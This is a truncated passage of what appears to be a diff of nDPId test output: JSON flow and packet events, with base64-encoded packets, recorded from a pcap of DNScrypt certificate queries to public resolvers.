AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":282,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":111,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317403338,"flow_src_last_pkt_time":946739317403338,"flow_dst_last_pkt_time":946739317403338,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317403338,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":46066,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":283,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317403350} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":283,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317403338,"pkt":"REREREREZmZmZmZmCABFAABQmsMAub0Rx2QKAAABM56mYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00776{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":284,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":112,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317403392,"flow_src_last_pkt_time":946739317403392,"flow_dst_last_pkt_time":946739317403392,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317403392,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":56494,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_src_last_pkt_time":946739317403392,"flow_dst_last_pkt_time":946739317403392,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739317403392,"pkt":"REREREREZmZmZmZmCABFAAIcmsRAAL0RhlAKAAABM56mYdyuAbsCCJzVB2ABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAABwwAMAb8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00881{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":284,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":112,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317403392,"flow_src_last_pkt_time":946739317403392,"flow_dst_last_pkt_time":946739317403392,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317403392,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":56494,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -574,8 +494,6 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":286,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":114,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317403417,"flow_src_last_pkt_time":946739317403417,"flow_dst_last_pkt_time":946739317403417,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317403417,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":48065,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_src_last_pkt_time":946739317403417,"flow_dst_last_pkt_time":946739317403417,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317403417,"pkt":"REREREREZmZmZmZmCABFAAXcmsUgAL0Roo8KAAABM56mYbvBAbsGBA2TB2EBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAEAAAAAAAAAAAAFvwAMBbsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":286,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":114,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317403417,"flow_src_last_pkt_time":946739317403417,"flow_dst_last_pkt_time":946739317403417,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317403417,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.158.166.97","src_port":48065,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":287,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317403429} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":287,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317403417,"pkt":"REREREREZmZmZmZmCABFAABQmsUAub0Rx2IKAAABM56mYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00773{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":2,"flow_src_last_pkt_time":946739317403292,"flow_dst_last_pkt_time":946739317428375,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"thread_ts_usec":946739317428375,"pkt":"ZmZmZmZmRERERERECABFAADXKhpAADMRgkAznqZhCgAAAQG7kKsAw\/s4B2KBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} 00772{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":2,"flow_src_last_pkt_time":946739317403392,"flow_dst_last_pkt_time":946739317429999,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"thread_ts_usec":946739317429999,"pkt":"ZmZmZmZmRERERERECABFAADXKh1AADMRgj0znqZhCgAAAQG73K4Aw683B2CBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} 00772{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":2,"flow_src_last_pkt_time":946739317403317,"flow_dst_last_pkt_time":946739317431691,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"thread_ts_usec":946739317431691,"pkt":"ZmZmZmZmRERERERECABFAADXKhtAADQRgT8znqZhCgAAAQG7uJkAw9NNB1+BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAxhY3NhY3Nhci1hbXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAQt4OLzm4x3OBnTPVYOyWbwQ07ZuPzfh5UHeUSDpkuLilk8PnzqIG19XCvUsQGZmTzZ+d2RjpSDvvlP\/+37YoDPjwKVuBVGSevZiWx3QxU\/Ww92uJXMr1\/GUOUVCxbO0A+PApW4FUZJwAAAAFfU6w6X1T9ug=="} @@ -587,24 +505,18 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":294,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":116,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432603,"flow_src_last_pkt_time":946739317432603,"flow_dst_last_pkt_time":946739317432603,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432603,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":55046,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":116,"flow_packet_id":1,"flow_src_last_pkt_time":946739317432603,"flow_dst_last_pkt_time":946739317432603,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317432603,"pkt":"REREREREZmZmZmZmCABFAAXc144gAL0RoeEKAAABsDjtq9cGAbsGBFSSsmQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":294,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":116,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432603,"flow_src_last_pkt_time":946739317432603,"flow_dst_last_pkt_time":946739317432603,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432603,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":55046,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":295,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739317432615} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":295,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739317432603,"pkt":"REREREREZmZmZmZmCABFAABQ144Aub0RxrQKAAABsDjtqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":296,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":117,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432619,"flow_src_last_pkt_time":946739317432619,"flow_dst_last_pkt_time":946739317432619,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432619,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":51363,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":117,"flow_packet_id":1,"flow_src_last_pkt_time":946739317432619,"flow_dst_last_pkt_time":946739317432619,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739317432619,"pkt":"REREREREZmZmZmZmCABFAAIc149AAL0RhaAKAAABsDjtq8ijAbsCCGC6smUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":296,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":117,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432619,"flow_src_last_pkt_time":946739317432619,"flow_dst_last_pkt_time":946739317432619,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432619,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":51363,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":297,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":118,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739317432660,"flow_src_last_pkt_time":946739317432660,"flow_dst_last_pkt_time":946739317432660,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739317432660,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"176.56.237.171","src_port":36676,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_src_last_pkt_time":946739317432660,"flow_dst_last_pkt_time":946739317432660,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739317432660,"pkt":"REREREREZmZmZmZmCABFAAXc15AgAL0Rod8KAAABsDjtq49EAbsGBJxWsmIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjEIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA